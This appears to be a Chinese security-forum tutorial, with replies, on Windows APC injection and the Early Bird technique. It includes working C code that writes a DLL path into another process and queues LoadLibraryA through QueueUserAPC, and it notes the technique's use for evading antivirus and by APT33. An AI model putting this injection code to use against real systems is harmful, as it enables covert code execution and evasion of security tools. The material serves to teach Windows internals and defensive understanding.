首页
社区
课程
招聘
[原创]APC与Early Bird注入
发表于: 2025-2-26 14:05 6907

[原创]APC与Early Bird注入

2025-2-26 14:05
6907

根据 MSDN 上的定义, APC(Asynchronous Procedure Call 异步过程调用)是在特定线程的上下文中异步执行的函数。具体来说,每个 APC 函数是与特定线程相关联的,每个线程有 APC 队列,存储着 APC 函数。但这并不是说线程被创建和执行了, APC 就一定会被调用。一般情况下,用户态线程调用 APC 函数要具备两个条件:

(本文暂不讨论内核态的 APC)

线程在调用 SleepExSignalObjectAndWaitMsgWaitForMultipleObjectsExWaitForMultipleObjectsExWaitForSingleObjectEx函数时进入可警告状态。

与用户态APC相关的函数只有一个:QueueUserAPCQueueUserAPC 函数允许将一个用户定义的函数添加到指定线程对应的APC队列中。

先进先出,即先被加入 APC 队列的函数会在线程处于可警告状态时,会先被执行。下面有一个小的测试程序

运行结果如下图所示:

如果删掉SleepEx(INFINITE, TRUE),线程不处于可警告状态, 那么两个 APC 函数就不会被调用,运行结果如下图所示:

APC注入是利用Windows的异步过程调用机制 APC,将代码注入到目标线程的APC队列。当线程进入可警告状态(如调用SleepEx)时,系统会执行APC队列中的函数,从而实现代码注入。

将下面代码编译成APCTest.exe程序在主线程启动后,一直处于可警告状态,方便注入。

为了让代码简洁一点,就直接根据由 PCHunter 的APCTest.exe进程 PID 获取进程句柄,根据线程 ID 获取线程句柄。

运行结果如下图所示:

PCHunter 查看运行的APCTest.exe进程模块中多了注入的 MyDll.dll。

反病毒软件和 EDR 等安全产品通过 Hook 关键的 Windows API(如 CreateProcessCreateRemoteThreadLoadLibrary等)来监控和拦截可疑的代码注入行为。为了规避上述安全机制,Early Bird 注入(早鸟注入)应运而生。它的核心目标是在目标进程初始化阶段,安全机制尚未完全加载或生效时,完成代码注入。伊朗黑客组织 APT33 利用该项注入技术将 TrunedUp 恶意软件植入受感染系统内部,并绕过反病毒软件工具。2018年4月11日,网络安全公司 Cyberbit 的研究人员发表了一篇名为 《New ‘Early Bird’ Code Injection Technique Discovered》 的文章,详细分析了 Early Bird 注入的原理和实现。

Early Bird 注入是指一种利用Windows进程创建机制进行代码注入的技术。其原理是在目标进程的主线程开始执行之前,将代码注入到进程中。具体步骤包括:

这种方法隐蔽性高,适用于新创建的进程。下面就介绍如何使用APC机制进行Early Bird 注入。

那么问题来了,当线程处于可警告状态时,才会调用 APC 函数。进程刚创建、 线程初始化时也没有调用 SleepEx()之类的函数,线程是不是处于可警告状态呢?
答案是肯定的。
线程初始化时会调用位于内核模块 ntoskrnl.exe 中的PspUserThreadStartup函数,该函数负责初始化用户态线程的上下文,并最终将控制权交给用户态代码,具体来说是函数LdrInitializeThunk。

LdrInitializeThunk调用ntdll中的ZwTestAlert,ZwTestAlert调用KeTestAlertThread。用Source Insight查看WRK中的KeTestAlertThread如下所示:

Thread->ApcState.UserApcPending 是一个标志,表示当前线程是否有待处理的用户态 APC。
当这个标志为 TRUE 时,线程会在以下情况下检查并执行 APC:
● 线程从内核态返回到用户态时。
● 线程调用某些允许 APC 执行的系统调用时(如 SleepEx、WaitForSingleObjectEx 等)。

当线程被创建时,其用户态 APC队列理论上为空。然而,在某些情况下,由于内核操作或之前的线程状态,可能会残留APC。ZwTestAlert的功能即是在线程初始化时检查并处理这些残留的APC,执行后清空队列。这一操作确保了线程以可预测的状态启动,避免残留APC对程序执行产生干扰,进而防止潜在的异常、崩溃或安全漏洞。

Early Bird注入正是利用这一机制,在线程初始化阶段注入代码,使注入的代码在主线程开始执行前运行。

运行结果如下图所示:

需要注意的是,注入的弹窗 DLL 运行后,需要点击“确定”关闭弹窗,记事本的窗口才会出现,这也证明了前面提到的,注入代码会在主线程开始执行前运行。

de3K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2K6k6h3y4J5M7%4y4Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8A6j5$3I4W2M7#2)9J5c8U0t1H3x3e0l9`.

676K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6k6r3W2G2N6r3x3@1N6q4)9J5k6h3y4G2L8g2)9J5c8X3y4G2k6r3g2Q4x3X3c8S2L8X3c8Q4x3X3c8V1L8r3I4Q4x3X3c8H3M7X3!0U0k6i4y4K6i4K6u0V1K9h3&6B7k6h3y4@1K9h3!0F1i4K6u0r3k6h3q4J5L8s2W2Q4x3X3c8T1K9i4u0V1

1e2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4S2K6K9h3&6D9K9h3&6C8i4K6u0r3j5i4u0@1K9h3y4D9k6g2)9J5c8X3c8W2N6r3q4A6L8s2y4Q4x3V1j5I4x3K6V1K6y4U0l9I4x3K6l9`.

71dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8X3u0D9L8$3N6K6i4K6u0W2j5$3!0E0i4K6u0r3M7%4g2E0K9h3y4W2b7X3I4G2k6#2)9J5c8Y4m8Q4x3V1j5I4y4K6j5K6z5o6j5&6x3q4)9J5k6h3S2@1L8h3H3`.

736K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6X3L8%4u0#2L8g2)9J5k6h3u0#2N6r3W2S2L8W2)9J5k6h3&6W2N6q4)9J5c8Y4y4Z5j5i4u0W2i4K6u0r3x3U0t1J5y4l9`.`.

03cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0P5h3u0W2M7X3u0A6N6q4)9J5k6h3y4G2L8g2)9J5c8X3g2F1k6s2m8G2K9h3&6@1i4K6u0V1M7$3g2U0N6i4u0A6N6s2W2Q4x3V1k6F1k6i4N6Q4x3X3c8W2j5i4u0D9P5g2)9J5k6r3u0A6M7X3c8Q4x3X3c8U0L8$3c8W2i4K6u0V1K9h3&6B7k6h3y4@1K9h3!0F1i4K6u0V1N6r3g2U0K9r3&6A6M7i4g2W2i4K6u0V1k6r3W2K6j5$3!0$3k6i4u0W2k6q4)9J5c8R3`.`.

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,   //指向一个APC函数
  [in] HANDLE    hThread,  //将要插入APC的线程句柄,句柄必须具有 THREAD_SET_CONTEXT 访问权限。
  [in] ULONG_PTR dwData    //APC函数的参数
);
//如果该函数成功,则返回值为非零值。如果函数失败,则返回值为零。
DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,   //指向一个APC函数
  [in] HANDLE    hThread,  //将要插入APC的线程句柄,句柄必须具有 THREAD_SET_CONTEXT 访问权限。
  [in] ULONG_PTR dwData    //APC函数的参数
);
//如果该函数成功,则返回值为非零值。如果函数失败,则返回值为零。
#include <stdio.h>
#include <windows.h>
 
// APC 函数
VOID CALLBACK MyAPCProc1(ULONG_PTR dwParam) {
    printf("MyAPCProc1已被调用: %lu\n", dwParam);
}
 
VOID CALLBACK MyAPCProc2(ULONG_PTR dwParam) {
    printf("MyAPCProc2已被调用: %lu\n", dwParam);
}
 
int main() {
    // 获取当前线程的 ID
    DWORD threadId = GetCurrentThreadId();
    // 打开当前线程 (实际上不需要打开,GetCurrentThreadId() 已经给我们了句柄)
    HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT, FALSE, threadId);
    if (hThread == NULL) {
        fprintf(stderr, "线程打开失败: %lu\n", GetLastError());
        return 1;
    }
 
    // 将 APC 排队到当前线程
    DWORD result1 = QueueUserAPC(MyAPCProc1, hThread, 123);  // 123 是传递给 MyAPCProc1 函数的参数
    if (result1 == 0) {
        fprintf(stderr, "MyAPCProc1加入APC队列失败: %lu\n", GetLastError());
        CloseHandle(hThread);
        return 1;
    }
    printf("函数MyAPCProc1已被被加入到线程的APC队列中。\n");
    DWORD result2 = QueueUserAPC(MyAPCProc2, hThread,456);  // 456 是传递给 MyAPCProc2 函数的参数
    if (result2 == 0) {
        fprintf(stderr, "MyAPCProc2加入APC队列失败: %lu\n", GetLastError());
        CloseHandle(hThread);
        return 1;
    }
 
    printf("函数MyAPCProc2已被被加入到线程的APC队列中。\n");
    printf("即将进入可警告状态 (SleepEx).\n");
 
    // 进入可警告状态 (SleepEx),  这是 APC 执行所必需的
    SleepEx(INFINITE, TRUE); // TRUE 表示进入可警告状态
 
    // 即使线程进入可警告状态,APC函数也可能还未完成
    CloseHandle(hThread);
    printf("退出主线程\n");
    return 0;
}
#include <stdio.h>
#include <windows.h>
 
// APC 函数
VOID CALLBACK MyAPCProc1(ULONG_PTR dwParam) {
    printf("MyAPCProc1已被调用: %lu\n", dwParam);
}
 
VOID CALLBACK MyAPCProc2(ULONG_PTR dwParam) {
    printf("MyAPCProc2已被调用: %lu\n", dwParam);
}
 
int main() {
    // 获取当前线程的 ID
    DWORD threadId = GetCurrentThreadId();
    // 打开当前线程 (实际上不需要打开,GetCurrentThreadId() 已经给我们了句柄)
    HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT, FALSE, threadId);
    if (hThread == NULL) {
        fprintf(stderr, "线程打开失败: %lu\n", GetLastError());
        return 1;
    }
 
    // 将 APC 排队到当前线程
    DWORD result1 = QueueUserAPC(MyAPCProc1, hThread, 123);  // 123 是传递给 MyAPCProc1 函数的参数
    if (result1 == 0) {
        fprintf(stderr, "MyAPCProc1加入APC队列失败: %lu\n", GetLastError());
        CloseHandle(hThread);
        return 1;
    }
    printf("函数MyAPCProc1已被被加入到线程的APC队列中。\n");
    DWORD result2 = QueueUserAPC(MyAPCProc2, hThread,456);  // 456 是传递给 MyAPCProc2 函数的参数
    if (result2 == 0) {
        fprintf(stderr, "MyAPCProc2加入APC队列失败: %lu\n", GetLastError());
        CloseHandle(hThread);
        return 1;
    }
 
    printf("函数MyAPCProc2已被被加入到线程的APC队列中。\n");
    printf("即将进入可警告状态 (SleepEx).\n");
 
    // 进入可警告状态 (SleepEx),  这是 APC 执行所必需的
    SleepEx(INFINITE, TRUE); // TRUE 表示进入可警告状态
 
    // 即使线程进入可警告状态,APC函数也可能还未完成
    CloseHandle(hThread);
    printf("退出主线程\n");
    return 0;
}
#include <stdio.h>
#include <Windows.h>
 
int main()
{
    while (1)
    {
        printf("小心注入\r\n");
        SleepEx(1000, TRUE);
    }
 
    return 0;
}
#include <stdio.h>
#include <Windows.h>
 
int main()
{
    while (1)
    {
        printf("小心注入\r\n");
        SleepEx(1000, TRUE);
    }
 
    return 0;
}
#include <stdio.h>
#include <Windows.h>
 
int main()
{
    //打开进程
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1111);//根据实际情况获取PID
    if (!hProcess)
    {
        printf("进程打开失败\r\n");
        return -1;
    }
    //打开线程
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, 2222);//根据实际情况获取线程ID
    if (!hThread)
    {
        printf("打开线程失败\r\n");
        return -1;
    }
 
    //获取loadlibraryA
    HMODULE hModule = GetModuleHandleA("kernel32.dll");
    PVOID func = (PVOID)GetProcAddress(hModule, "LoadLibraryA");
    printf("%x\r\n", func);
    system("pause");
 
    //给目标进程申请内存,存dll路径
    PUCHAR targetMemory = (PUCHAR)VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!targetMemory)
    {
        printf("申请内存失败\r\n");
        return -1;
    }
    printf("targetMemony :%x\r\n", targetMemory);
    system("pause");
 
    //dll路径
    char* dllpath = "C:\\Users\\finback\\Desktop\\MyDll.dll";
    //给目标进程写内容
    if (!WriteProcessMemory(hProcess, targetMemory, dllpath, strlen(dllpath) + 1, NULL))
    {
        printf("写入失败\r\n");
        return -1;
    }
 
    QueueUserAPC((PAPCFUNC)func, hThread, (ULONG_PTR)targetMemory);
    system("pause\r\n");
    return 0;
}
#include <stdio.h>
#include <Windows.h>
 
int main()
{
    //打开进程
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1111);//根据实际情况获取PID
    if (!hProcess)
    {
        printf("进程打开失败\r\n");
        return -1;
    }
    //打开线程
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, 2222);//根据实际情况获取线程ID
    if (!hThread)
    {
        printf("打开线程失败\r\n");
        return -1;
    }
 
    //获取loadlibraryA
    HMODULE hModule = GetModuleHandleA("kernel32.dll");
    PVOID func = (PVOID)GetProcAddress(hModule, "LoadLibraryA");
    printf("%x\r\n", func);
    system("pause");
 
    //给目标进程申请内存,存dll路径
    PUCHAR targetMemory = (PUCHAR)VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!targetMemory)
    {
        printf("申请内存失败\r\n");
        return -1;
    }
    printf("targetMemony :%x\r\n", targetMemory);

[注意]看雪招聘,专注安全领域的专业人才平台!

最后于 2025-3-5 12:10 被ZyOrca编辑 ,原因: 调整排版,修正错误
收藏
免费 2
支持
分享
最新回复 (7)
雪    币: 149
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
mark
2025-3-1 11:54
0
雪    币: 324
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
    HMODULE hModule = GetModuleHandleA("kernel32.dll");
    PVOID func = (PVOID)GetProcAddress(hModule, "LoadLibraryA");
作者为什么获取Loadlibrary的函数地址,不应该是ntdll的zwtestalert么?
2025-4-23 13:57
0
雪    币: 8
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
测试了一下,发现不行呀,没注入进去 win11
2025-4-28 17:28
0
雪    币: 8
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
6
mlike 测试了一下,发现不行呀,没注入进去 win11
好吧 是我dll没有编64位版本,notepad是64位的
2025-4-28 17:41
0
雪    币: 285
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
7
mark
4天前
0
雪    币: 2
活跃值: (93)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
mark
4天前
0
游客
登录 | 注册 方可回帖
返回